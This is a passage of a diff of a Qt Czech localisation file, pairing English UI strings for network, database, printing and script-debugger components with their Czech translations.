2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
+        A0
+        A0
     
     
-        
-        Show Details...
-        Ukázat podrobnosti...
+        A1
+        A1
     
     
-        
-        <h3>About Qt</h3><p>This program uses Qt version %1.</p>
-        <h3>O Qt</h3><p>Tento program používá Qt-verze %1.</p>
+        A2
+        A2
     
     
-        
-        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
-        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
+        A3
+        A3
     
     
-        
-        About Qt
-        O Qt
+        A4
+        A4
     
     
-        <p>This program uses Qt Open Source Edition version %1.</p><p>Qt Open Source Edition is intended for the development of Open Source applications. You need a commercial Qt license for development of proprietary (closed source) applications.</p><p>Please see <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> for an overview of Qt licensing.</p>
-        <p>Tento program používá Qt Open Source Edition verze %1.</p><p>Qt Open Source Edition je zamýšlena pro vývoj Open Source aplikací. Pro vývoj vlastnických aplikací (uzavřené zdrojové kódy) potřebujete Qt licenci.</p><p>Podívejte se, prosím, na <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> kvůli přehledu licencování Qt.</p>
+        A5
+        A5
     
     
-        
-        Hide Details...
-        Skrýt podrobnosti...
+        A6
+        A6
     
     
-        <p>This program uses Qt version %1.</p>
-        <p>Tento program používá Qt-verze %1.</p>
+        A7
+        A7
     
-
-
-    QMultiInputContext
     
-        
-        Select IM
-        Zvolit způsob vstupu
+        A8
+        A8
     
-
-
-    QMultiInputContextPlugin
     
-        
-        Multiple input method switcher that uses the context menu of the text widgets
-        Přepínač pro více způsobů vstupu, který používá související nabídku textového prvku
+        A9
+        A9
     
     
-        
-        Multiple input method switcher
-        Přepínač pro více způsobů vstupu
+        B0
+        B0
     
-
-
-    QNativeSocketEngine
     
-        
-        The proxy type is invalid for this operation
-        Tuto operaci nelze s tímto typem proxy provést
+        B1
+        B1
     
     
-        
-        Network operation timed out
-        Časový limit pro síťovou operaci byl překročen
+        B2
+        B2
     
     
-        
-        The remote host closed the connection
-        Vzdálený počítač uzavřel spojení
+        B3
+        B3
     
     
-        
-        Invalid socket descriptor
-        Neplatný deskriptor zásuvky (socketu)
+        B4
+        B4
     
     
-        
-        Host unreachable
-        Cílový počítač je nedosažitelný
+        B5
+        B5
     
     
-        
-        Protocol type not supported
-        Protokol tohoto typu není podporován
+        B6
+        B6
     
     
-        
-        Datagram was too large to send
-        Datagram byl pro odeslání příliš veliký
+        B7
+        B7
     
     
-        
-        Attempt to use IPv6 socket on a platform with no IPv6 support
-        Vyzkoušelo se použít IPv6 zásuvku (socket) na systému bez podpory IPv6
+        B8
+        B8
     
     
-        
-        Unable to receive a message
-        Zprávu se nepodařilo přijmout
+        B9
+        B9
     
     
-        
-        Permission denied
-        Přístup odepřen
+        OK
+        OK
     
     
-        
-        Connection refused
-        Spojení bylo odmítnuto
+        B10
+        B10
     
     
-        
-        Unable to write
-        Nepodařilo se zapsat
+        C5E
+        C5E
     
     
-        
-        Another socket is already listening on the same port
-        Na tomto portu již naslouchá jiná zásuvka (socket)
+        DLE
+        DLE
     
     
-        
-        Unable to send a message
-        Nepodařilo se odeslat hlášení
+        A6 (105 x 148 mm)
+        A6 (105 x 148 mm)
     
     
-        
-        The bound address is already in use
-        Uvedená adresa se už používá
+        Legal (8.5 x 14 inches, 216 x 356 mm)
+        Právní (8,5 x 14 palců, 216 x 356 mm)
     
     
-        
-        Connection timed out
-        Časový limit pro spojení byl překročen
+        Folio
+        Folio
     
     
-        
-        Network error
-        Síťová chyba
+        Legal
+        Právní
     
     
-        
-        Unsupported socket operation
-        Nepodporovaná zásuvková operace (povel pro socket)
+        Print all
+        Tisknout vše
     
     
-        
-        Operation on non-socket
-        Operaci lze použít pouze na jedné zásuvce (socketu)
+        Print
+        Tisk
     
     
-        
-        Unable to initialize broadcast socket
-        Zásuvku pro vysílání (socket) se nepodařilo spustit
+        &Options <<
+        &Nastavení << 
     
     
-        
-        Unknown error
-        Neznámá chyba
+        &Options >>
+        &Nastavení >>
     
     
-        
-        Unable to initialize non-blocking socket
-        Neblokující zásuvku (socket) se nepodařilo spustit
+        B6 (125 x 176 mm)
+        B6 (125 x 176 mm)
     
     
-        
-        The address is protected
-        Adresa je chráněna
+        B8 (62 x 88 mm)
+        B8 (62 x 88 mm)
     
     
-        
-        Network unreachable
-        Síť je nedosažitelná
+        A8 (52 x 74 mm)
+        A8 (52 x 74 mm)
     
     
-        
-        The address is not available
-        Adresa není dostupná
+        B9 (44 x 62 mm)
+        B9 (44 x 62 mm)
     
     
-        
-        Out of resources
-        Nejsou dostupné žádné zdroje
+        A9 (37 x 52 mm)
+        A9 (37 x 52 mm)
     
-
-
-    QNetworkAccessCacheBackend
     
-        
-        Error opening %1
-        %1 se nepodařilo otevřít
+        B0 (1000 x 1414 mm)
+        B0 (1000 x 1414 mm)
     
-
-
-    QNetworkAccessDebugPipeBackend
     
-        
-        Write error writing to %1: %2
-        Při zápisu do souboru %1: %2 nastala chyba
+        A5 (148 x 210 mm)
+        A5 (148 x 210 mm)
     
-
-
-    QNetworkAccessFileBackend
     
-        
-        Request for opening non-local file %1
-        Požadavek na otevření souboru přes síť %1
+        Tabloid (279 x 432 mm)
+        Bulvární noviny/tisk (279 x 432 mm)
     
     
-        
-        Read error reading from %1: %2
-        Při čtení ze souboru %1 nastala chyba: %2
+        B10 (31 x 44 mm)
+        B10 (31 x 44 mm)
     
     
-        
-        Cannot open %1: Path is a directory
-        %1 nelze otevřít: Jedná se o adresář
+        B2 (500 x 707 mm)
+        B2 (500 x 707 mm)
     
     
-        
-        Error opening %1: %2
-        %1 se nepodařilo otevřít: %2
+        &Print
+        &Tisk
     
     
-        
-        Write error writing to %1: %2
-        Při zápisu do souboru %1: %2 nastala chyba
+        A3 (297 x 420 mm)
+        A3 (297 x 420 mm)
     
-
-
-    QNetworkAccessFtpBackend
     
-        
-        No suitable proxy found
-        Nepodařilo se najít žádný vhodný proxy server
+        Print selection
+        Tisk výběru
     
     
-        
-        Error while downloading %1: %2
-        Při stahování %1 se vyskytla chyba: %2
+        Print to File (Postscript)
+        Tisk do souboru (Postscript)
     
     
-        
-        Error while uploading %1: %2
-        Při nahrávání %1 se vyskytla chyba: %2
+        B4 (250 x 353 mm)
+        B4 (250 x 353 mm)
     
     
-        
-        Cannot open %1: is a directory
-        %1 nelze otevřít: Jedná se o adresář
+        %1 already exists.
+Do you want to overwrite it?
+        Soubor %1 již existuje.
+Má se přepsat?
     
     
-        
-        Logging in to %1 failed: authentication required
-        Přihlášení do %1 se nezdařilo: Je požadována autentizace
+        A1 (594 x 841 mm)
+        A1 (594 x 841 mm)
     
-
-
-    QNetworkAccessHttpBackend
     
-        
-        No suitable proxy found
-        Nepodařilo se najít žádný vhodný proxy server
+        Custom
+        Stanovený uživatelem
     
-
-
-    QNetworkReply
     
-        
-        Error downloading %1 - server replied: %2
-        Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2
+        B1 (707 x 1000 mm)
+        B1 (707 x 1000 mm)
     
     
-        
-        Protocol "%1" is unknown
-        Protokol "%1" není znám
+        Folio (210 x 330 mm)
+        Folio (210 x 330 mm)
     
-
-
-    QNetworkReplyImpl
     
-        
-        
-        Operation canceled
-        Operace byla zrušena
+        Ledger
+        Hlavní (účetní) kniha
     
-
-
-    QOCIDriver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Letter
+        Dopis
     
     
-        Unable to initialize
-        Inicializace se nezdařila
+        DLE (110 x 220 mm)
+        DLE (110 x 220 mm)
     
     
-        
-        Unable to logon
-        Přihlášení se nezdařilo
+        C5E (163 x 229 mm)
+        C5E (163 x 229 mm)
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        B5 (176 x 250 mm, 6.93 x 9.84 inches)
+        B5 (176 x 250 mm, 6.93 x 9.84 palců
     
     
-        
-        Unable to begin transaction
-        Transakci se nepodařilo spustit
+        Print range
+        Tisková oblast
     
     
-        
-        Unable to initialize
-        QOCIDriver
-        Spuštění se nezdařilo
+        Print current page
+        Vytisknout tuto stranu
     
-
-
-    QOCIResult
     
-        
-        Unable to alloc statement
-        Přidělení příkazu se nepodařilo
+        File exists
+        Soubor již existuje
     
     
-        
-        Unable to goto next
-        Nelze jít k dalšímu prvku
+        Write %1 file
+        Zapsat %1 soubor
     
     
-        
-        Unable to get statement type
-        Nepodařilo se získat typ příkazu
+        A0 (841 x 1189 mm)
+        A0 (841 x 1189 mm)
     
     
-        
-        Unable to execute statement
-        Příkaz se nepodařilo provést
+        Local file
+        Místní soubor
     
     
-        
-        
-        
-        Unable to bind column for batch execute
-        Nepodařilo se spojit sloupec pro provedení příkazu dávkového zpracování
+        locally connected
+        přímo spojeno
     
     
-        Unable to execute select statement
-        Výběrové vyhledávání se nepodařilo provést
+        Ledger (432 x 279 mm)
+        Hlavní (účetní) kniha (432 x 279 mm)
     
     
-        
-        Unable to prepare statement
-        Příkaz se nepodařilo připravit
+        Aliases: %1
+        Přezdívka: %1
     
     
-        
-        Unable to execute batch statement
-        Příkaz pro dávkové zpracování se nepodařilo provést
+        Print to File (PDF)
+        Tisk do souboru (PDF)
     
     
-        
-        Unable to bind value
-        Hodnotu se nepodařilo spojit
+        Print To File ...
+        Tisk do souboru...
     
-
-
-    QODBCDriver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        US Common #10 Envelope (105 x 241 mm)
+        US běžná #10 obálka (105 x 241 mm)
     
     
-        
-        Unable to enable autocommit
-        'autocommit' se nepodařilo povolit
+        Tabloid
+        Bulvární noviny
     
     
-        Unable to connect - Driver doesn't support all needed functionality
-        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
+        A4 (210 x 297 mm, 8.26 x 11.7 inches)
+        A4 (210 x 297 mm, 8.26 x 11.7 palců)
     
     
-        
-        Unable to disable autocommit
-        'autocommit', automatické odeslání, se nepodařilo zastavit
+        Executive
+        Prováděcí
     
     
-        
-        Unable to connect
-        Nepodařilo se navázat spojení
+        unknown
+        Neznámý
     
     
-        
-        Unable to connect - Driver doesn't support all functionality required
-        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
+        <qt>Do you want to overwrite it?</qt>
+        <qt>Chcete jej přepsat?</qt>
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Executive (7.5 x 10 inches, 191 x 254 mm)
+        Prováděcí (7,5 x 10 palců, 191 x 254 mm)
     
-
-
-    QODBCResult
     
-        
-        Unable to bind variable
-        Proměnnou se nepodařilo provést
+        Letter (8.5 x 11 inches, 216 x 279 mm)
+        Dopis (8,5 x 11 palců, 216 x 279 mm)
     
     
-        
-        
-        Unable to execute statement
-        Příkaz se nepodařilo provést
+        The 'From' value cannot be greater than the 'To' value.
+        Údaj pro první stranu nesmí být větší než údaj pro poslední stranu.
     
     
-        
-        Unable to fetch next
-        Další datový záznam se nepodařilo natáhnout
+        US Common #10 Envelope
+        US běžná #10 obálka
     
     
-        
-        
-        
-        Unable to fetch last
-        Poslední datový záznam se nepodařilo natáhnout
+        %1 is a directory.
+Please choose a different file name.
+        %1 je adresář.
+Zvolte, prosím, pro soubor jiný název.
     
     
-        
-        Unable to prepare statement
-        Příkaz se nepodařilo spustit
+        File %1 is not writable.
+Please choose a different file name.
+        Soubor %1 je chráněn proti zápisu.
+Zvolte, prosím, pro soubor jiný název.
     
     
-        
-        Unable to fetch previous
-        Předchozí datový záznam se nepodařilo natáhnout
+        B3 (353 x 500 mm)
+        B3 (353 x 500 mm)
     
     
-        
-        Unable to fetch
-        Nepodařilo se natáhnout žádná data
+        A7 (74 x 105 mm)
+        A7 (74 x 105 mm)
     
     
-        
-        
-        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
-        QODBCResult::reset: 'SQL_CURSOR_STATIC' se nepodařilo nastavit jako příkaz vlastnosti . Ověřte, prosím, nastavení svého ODBC ovladače
+        A2 (420 x 594 mm)
+        A2 (420 x 594 mm)
     
     
-        
-        Unable to fetch first
-        První datový záznam se nepodařilo natáhnout
+        B7 (88 x 125 mm)
+        B7 (88 x 125 mm)
     
 
 
-    QObject
+    QPrintPreviewDialog
     
-        
-        Invalid hostname
-        Neplatný název pro hostitelský počítač
+        %1%
+        %1%
     
     
-        Home
-        Home
+        Print Preview
+        Náhled tisku
     
     
-        Protocol error: packet of size 0 received
-        Chyba v zápisu: Byl přijat paket o nulové velikosti
+        Close
+        Zavřít
     
     
-        
-        Invalid URI: %1
-        Neplátná URI: %1
+        Print
+        Tisk
     
     
-        
-        Socket error on %1: %2
-        Chyba zásuvky (socketu) u %1: %2
+        Fit page
+        Přizpůsobit stranu
     
     
-        
-        
-        No host name given
-        Nebyl zadán název pro hostitelský počítač
+        Zoom in
+        Zvětšit
     
     
-        Read error reading from %1: %2
-        Při čtení ze souboru %1 nastala chyba: %2
+        Landscape
+        Formát na šířku
     
     
-        
-        Remote host closed the connection prematurely on %1
-        Vzdálený počítač předčasně ukončil spojení s %1
+        Zoom out
+        Zmenšit
     
     
-        
-        Operation not supported on %1
-        Tato operace není %1 podporována
+        Fit width
+        Přizpůsobit šířku
     
     
-        Write error writing to %1: %2
-        Při zápisu do souboru %1: %2 nastala chyba
+        Portrait
+        Formát na výšku
     
-
-
-    QPPDOptionsModel
     
-        
-        Name
-        Název
+        Page Setup
+        Nastavení strany
     
     
-        
-        Value
-        Hodnota
+        Page setup
+        Nastavení strany
+    
+    
+        Show overview of all pages
+        Ukázat přehled všech stran
     
-
-
-    QPSQLDriver
     
-        
-        Unable to subscribe
-        Registrace se nezdařila
+        First page
+        První strana
     
     
-        
-        Could not begin transaction
-        Transakci se nepodařilo spustit
+        Last page
+        Poslední strana
     
     
-        
-        Could not rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Show single page
+        Ukázat jednotlivé strany
     
     
-        
-        Could not commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Export to PDF
+        Vyvést do PDF
     
     
-        
-        Unable to connect
-        Nepodařilo se navázat spojení
+        Previous page
+        Předchozí strana
     
     
-        
-        Unable to unsubscribe
-        Registraci se nepodařilo zrušit
+        Next page
+        Další strana
     
-
-
-    QPSQLResult
     
-        
-        Unable to prepare statement
-        Příkaz se nepodařilo připravit
+        Show facing pages
+        Ukázat strany ležící naproti
     
     
-        
-        Unable to create query
-        Nepodařilo se vytvořit žádný dotaz
+        Export to PostScript
+        Vyvést do PostScriptu
     
 
 
-    QPageSetupWidget
+    QPrintPropertiesWidget
     
-        
         Form
         Formulář
     
     
-        
-        bottom margin
-        Dolní okraj
-    
-    
-        
-        Paper
-        Papír
+        Page
+        Strana
     
     
-        
-        Paper source:
-        Zdroj papíru:
+        Advanced
+        Rozšířené
     
+
+
+    QPrintSettingsOutput
     
-        
-        Centimeters (cm)
-        Centimetry (cm)
+        to
+        do
     
     
-        
-        right margin
-        Pravý okraj
+        Form
+        Formulář
     
     
-        
-        Margins
-        Okraje
+        None
+        Žádný
     
     
-        
-        Landscape
-        Formát na šířku
+        Color
+        Barva
     
     
-        
-        Width:
-        Šířka:
+        Print all
+        Tisknout vše
     
     
-        
-        Orientation
-        Zaměření
+        Selection
+        Výběr
     
     
-        
-        Portrait
-        Formát na výšku
+        Long side
+        Dlouhá strana
     
     
-        
-        top margin
-        Horní okraj
+        Copies
+        Počet exemplářů
     
     
-        
-        left margin
-        Levý okraj
+        Print range
+        Tisk oblasti
     
     
-        
-        Page size:
-        Velikost stran:
+        Color Mode
+        Barevný režim
     
     
-        
-        Reverse portrait
-        Obrácený formát na výšku
+        Options
+        Volby
     
     
-        
-        Millimeters (mm)
-        Milimetry (mm)
+        Output Settings
+        Nastavení výstupu
     
     
-        
-        Points (pt)
-        Body (pt)
+        Reverse
+        Obrácený
     
     
-        
-        Inches (in)
-        Palce (in)
+        Grayscale
+        Odstíny šedi
     
     
-        
-        Reverse landscape
-        Obrácený formát na šířku
+        Short side
+        Krátká strana
     
     
-        
-        Height:
-        Výška:
+        Collate
+        Srovnat
     
-
-
-    QPluginLoader
     
-        
-        The plugin was not loaded.
-        Přídavný modul nebyl nahrán.
+        Copies:
+        Počet exemplářů:
     
     
-        
-        Unknown error
-        Neznámá chyba
+        Pages from
+        Strany od
     
-
-
-    QPrintDialog
     
-        
-        A0
-        A0
+        Duplex Printing
+        Zdvojený tisk
     
     
-        
-        A1
-        A1
+        Current Page
+        Nynější strana
     
+
+
+    QPrintWidget
     
-        
-        A2
-        A2
+        ...
+        ...
     
     
-        
-        A3
-        A3
+        Form
+        Formulář
     
     
-        
-        A4
-        A4
+        Type:
+        Typ:
     
     
-        
-        A5
-        A5
+        &Name:
+        &Název:
     
     
-        
-        A6
-        A6
+        Output &file:
+        Výstupní &soubor:
     
     
-        
-        A7
-        A7
+        P&roperties
+        &Vlastnosti
     
     
-        
-        A8
-        A8
+        Preview
+        Náhled
     
     
-        
-        A9
-        A9
+        Printer
+        Tiskárna
     
     
-        
-        B0
-        B0
+        Location:
+        Umístění:
     
+
+
+    QProcess
     
-        
-        B1
-        B1
+        Error writing to process
+        Zápis do procesu se nezdařil
     
     
-        
-        B2
-        B2
+        No program defined
+        Nestanoven žádný program
     
     
-        
-        B3
-        B3
+        Resource error (fork failure): %1
+        Potíže se zdroji (selhání rozcestí - "fork failure"): %1
     
     
-        
-        B4
-        B4
+        Error reading from process
+        Čtení z procesu se nezdařilo
     
     
-        
-        B5
-        B5
+        Process failed to start
+        Spuštění procesu se nezdařilo
     
     
-        
-        B6
-        B6
+        Could not open input redirection for reading
+        Vstupní přesměrování se nepodařilo otevřít pro čtení
     
     
-        
-        B7
-        B7
+        Could not open output redirection for writing
+        Výstupní přesměrování se nepodařilo otevřít pro zápis
     
     
-        
-        B8
-        B8
+        Process operation timed out
+        Překročení času u procesu
     
     
-        
-        B9
-        B9
+        Process crashed
+        Proces spadl
     
     
-        
-        OK
-        OK
+        Process failed to start: %1
+        Proces se nepodařilo spustit: %1
     
+
+
+    QProgressDialog
     
-        
-        B10
-        B10
+        Cancel
+        Zrušit
     
+
+
+    QPushButton
     
-        
-        C5E
-        C5E
+        Open
+        Otevřít
     
+
+
+    QRadioButton
     
-        
-        DLE
-        DLE
+        Check
+        Označit křížkem
     
+
+
+    QRegExp
     
-        
-        A6 (105 x 148 mm)
-        A6 (105 x 148 mm)
+        bad lookahead syntax
+        nesprávná syntax pro plánování dopředu
     
     
-        
-        Legal (8.5 x 14 inches, 216 x 356 mm)
-        Právní (8,5 x 14 palců, 216 x 356 mm)
+        no error occurred
+        žádná chyba
     
     
-        
-        Folio
-        Folio
+        missing left delim
+        chybějící levé vymezení
     
     
-        
-        Legal
-        Právní
+        bad char class syntax
+        nesprávná syntax pro třídu znaku
     
     
-        
-        Print all
-        Tisknout vše
+        disabled feature used
+        byla použita zakázaná vlastnost
     
     
-        
-        
-        
-        Print
-        Tisk
+        invalid octal value
+        neplatná osmičková hodnota
     
     
-        
-        &Options <<
-        &Nastavení << 
+        invalid interval
+        neplatný interval
     
     
-        
-        
-        &Options >>
-        &Nastavení >>
+        invalid category
+        neplatná skupina
     
     
-        
-        B6 (125 x 176 mm)
-        B6 (125 x 176 mm)
+        bad repetition syntax
+        nesprávná syntax pro opakování
     
     
-        
-        B8 (62 x 88 mm)
-        B8 (62 x 88 mm)
+        met internal limit
+        dosažena vnitřní mez
     
     
-        
-        A8 (52 x 74 mm)
-        A8 (52 x 74 mm)
+        unexpected end
+        neočekávaný konec
     
+
+
+    QSQLite2Driver
     
-        
-        B9 (44 x 62 mm)
-        B9 (44 x 62 mm)
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
     
     
-        
-        A9 (37 x 52 mm)
-        A9 (37 x 52 mm)
+        Error to open database
+        Nepodařilo se otevřít spojení s datatabází
     
     
-        
-        B0 (1000 x 1414 mm)
-        B0 (1000 x 1414 mm)
+        Unable to rollback Transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
     
-        
-        A5 (148 x 210 mm)
-        A5 (148 x 210 mm)
+        Unable to begin transaction
+        Transakci se nepodařilo spustit
     
     
-        
-        Tabloid (279 x 432 mm)
-        Bulvární noviny/tisk (279 x 432 mm)
+        Error opening database
+        Nepodařilo se otevřít spojení s databází
     
     
-        
-        B10 (31 x 44 mm)
-        B10 (31 x 44 mm)
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
+
+
+    QSQLite2Result
     
-        
-        B2 (500 x 707 mm)
-        B2 (500 x 707 mm)
+        Unable to execute statement
+        Příkaz se nepodařilo provést
     
     
-        
-        &Print
-        &Tisk
+        Unable to fetch results
+        Výsledek se nepodařilo natáhnout
     
+
+
+    QSQLiteDriver
     
-        
-        A3 (297 x 420 mm)
-        A3 (297 x 420 mm)
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
     
     
-        
-        Print selection
-        Tisk výběru
+        Error closing database
+        Nepodařilo se uzavřít spojení s datatabází
     
     
-        
-        Print to File (Postscript)
-        Tisk do souboru (Postscript)
+        Error opening database
+        Nepodařilo se otevřít spojení s databází
     
     
-        
-        B4 (250 x 353 mm)
-        B4 (250 x 353 mm)
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
     
-        
-        %1 already exists.
-Do you want to overwrite it?
-        Soubor %1 již existuje.
-Má se přepsat?
+        Unable to begin transaction
+        Transakci se nepodařilo spustit
     
+
+
+    QSQLiteResult
     
-        
-        A1 (594 x 841 mm)
-        A1 (594 x 841 mm)
+        Unable to fetch row
+        Řádek se nepodařilo natáhnout
     
     
-        
-        Custom
-        Stanovený uživatelem
+        No query
+        Žádný požadavek
     
     
-        
-        B1 (707 x 1000 mm)
-        B1 (707 x 1000 mm)
+        Unable to execute statement
+        Příkaz se nepodařilo provést
     
     
-        
-        Folio (210 x 330 mm)
-        Folio (210 x 330 mm)
+        Unable to bind parameters
+        Parametry se nepodařilo spojit
     
     
-        
-        Ledger
-        Hlavní (účetní) kniha
+        Unable to reset statement
+        Příkaz se nepodařilo znovu nastavit
     
     
-        
-        Letter
-        Dopis
+        Parameter count mismatch
+        Počet parametrů není správný
     
+
+
+    QScriptBreakpointsModel
     
-        
-        DLE (110 x 220 mm)
-        DLE (110 x 220 mm)
+        ID
+        ID
     
     
-        
-        C5E (163 x 229 mm)
-        C5E (163 x 229 mm)
+        Location
+        Umístění
     
     
-        
-        B5 (176 x 250 mm, 6.93 x 9.84 inches)
-        B5 (176 x 250 mm, 6.93 x 9.84 palců
+        Condition
+        Podmínka
     
     
-        
-        Print range
-        Tisková oblast
+        Ignore-count
+        Spustit po
     
     
-        
-        File exists
-        Soubor již existuje
+        Single-shot
+        Spustit jednou
     
     
-        
-        Write %1 file
-        Zapsat %1 soubor
+        Hit-count
+        Spuštěný
     
+
+
+    QScriptBreakpointsWidget
     
-        
-        A0 (841 x 1189 mm)
-        A0 (841 x 1189 mm)
+        New
+        Nový
     
     
-        
-        Local file
-        Místní soubor
+        Delete
+        Smazat
     
+
+
+    QScriptDebugger
     
-        
-        locally connected
-        přímo spojeno
+        Go to Line
+        Jít na řádek
     
     
-        
-        Ledger (432 x 279 mm)
-        Hlavní (účetní) kniha (432 x 279 mm)
+        Line:
+        Řádek:
     
     
-        
-        
-        Aliases: %1
-        Přezdívka: %1
+        Interrupt
+        Přerušit
     
     
-        
-        Print to File (PDF)
-        Tisk do souboru (PDF)
+        Shift+F5
+        Shift+F5
     
     
-        
-        Print To File ...
-        Tisk do souboru...
+        Continue
+        Pokračovat
     
     
-        
-        US Common #10 Envelope (105 x 241 mm)
-        US běžná #10 obálka (105 x 241 mm)
+        F5
+        F5
     
     
-        
-        Tabloid
-        Bulvární noviny
+        Step Into
+        Krok do
     
     
-        
-        A4 (210 x 297 mm, 8.26 x 11.7 inches)
-        A4 (210 x 297 mm, 8.26 x 11.7 palců)
+        F11
+        F11
     
     
-        
-        Executive
-        Prováděcí
+        Step Over
+        Krok přes
     
     
-        
-        
-        unknown
-        Neznámý
+        F10
+        F10
     
     
-        
-        <qt>Do you want to overwrite it?</qt>
-        <qt>Chcete jej přepsat?</qt>
+        Step Out
+        Krok ven
     
     
-        
-        Executive (7.5 x 10 inches, 191 x 254 mm)
-        Prováděcí (7,5 x 10 palců, 191 x 254 mm)
+        Shift+F11
+        Shift+F11
     
     
-        
-        Letter (8.5 x 11 inches, 216 x 279 mm)
-        Dopis (8,5 x 11 palců, 216 x 279 mm)
+        Run to Cursor
+        Provést po kurzor
     
     
-        
-        The 'From' value cannot be greater than the 'To' value.
-        Údaj pro první stranu nesmí být větší než údaj pro poslední stranu.
+        Ctrl+F10
+        Ctrl+F10
     
     
-        
-        US Common #10 Envelope
-        US běžná #10 obálka
+        Run to New Script
+        Provést po nový skript
     
     
-        
-        %1 is a directory.
-Please choose a different file name.
-        %1 je adresář.
-Zvolte, prosím, pro soubor jiný název.
+        Toggle Breakpoint
+        Přepnout bod přerušení (zastavení)
     
     
-        
-        File %1 is not writable.
-Please choose a different file name.
-        Soubor %1 je chráněn proti zápisu.
-Zvolte, prosím, pro soubor jiný název.
+        F9
+        F9
     
     
-        
-        B3 (353 x 500 mm)
-        B3 (353 x 500 mm)
+        Clear Debug Output
+        Smazat výstup ladění
     
     
-        
-        A7 (74 x 105 mm)
-        A7 (74 x 105 mm)
+        Clear Error Log
+        Smazat výstupní zápis s chybami
     
     
-        
-        A2 (420 x 594 mm)
-        A2 (420 x 594 mm)
+        Clear Console
+        Smazat konzoli
     
     
-        
-        B7 (88 x 125 mm)
-        B7 (88 x 125 mm)
+        &Find in Script...
+        &Hledat ve skriptu...
+    
+    
+        Ctrl+F
+        Ctrl+F
     
-
-
-    QPrintPreviewDialog
     
-        
-        %1%
-        %1%
+        Find &Next
+        Najít &další
     
     
-        
-        Print Preview
-        Náhled tisku
+        F3
+        F3
     
     
-        Close
-        Zavřít
+        Find &Previous
+        Najít &předchozí
     
     
-        
-        Print
-        Tisk
+        Shift+F3
+        Shift+F3
     
     
-        
-        Fit page
-        Přizpůsobit stranu
+        Ctrl+G
+        Ctrl+G
     
     
-        
-        Zoom in
-        Zvětšit
+        Debug
+        Ladit
     
+
+
+    QScriptDebuggerCodeFinderWidget
     
-        
-        Landscape
-        Formát na šířku
+        Close
+        Zavřít
     
     
-        
-        Zoom out
-        Zmenšit
+        Previous
+        Předchozí
     
     
-        
-        Fit width
-        Přizpůsobit šířku
+        Next
+        Další
     
     
-        
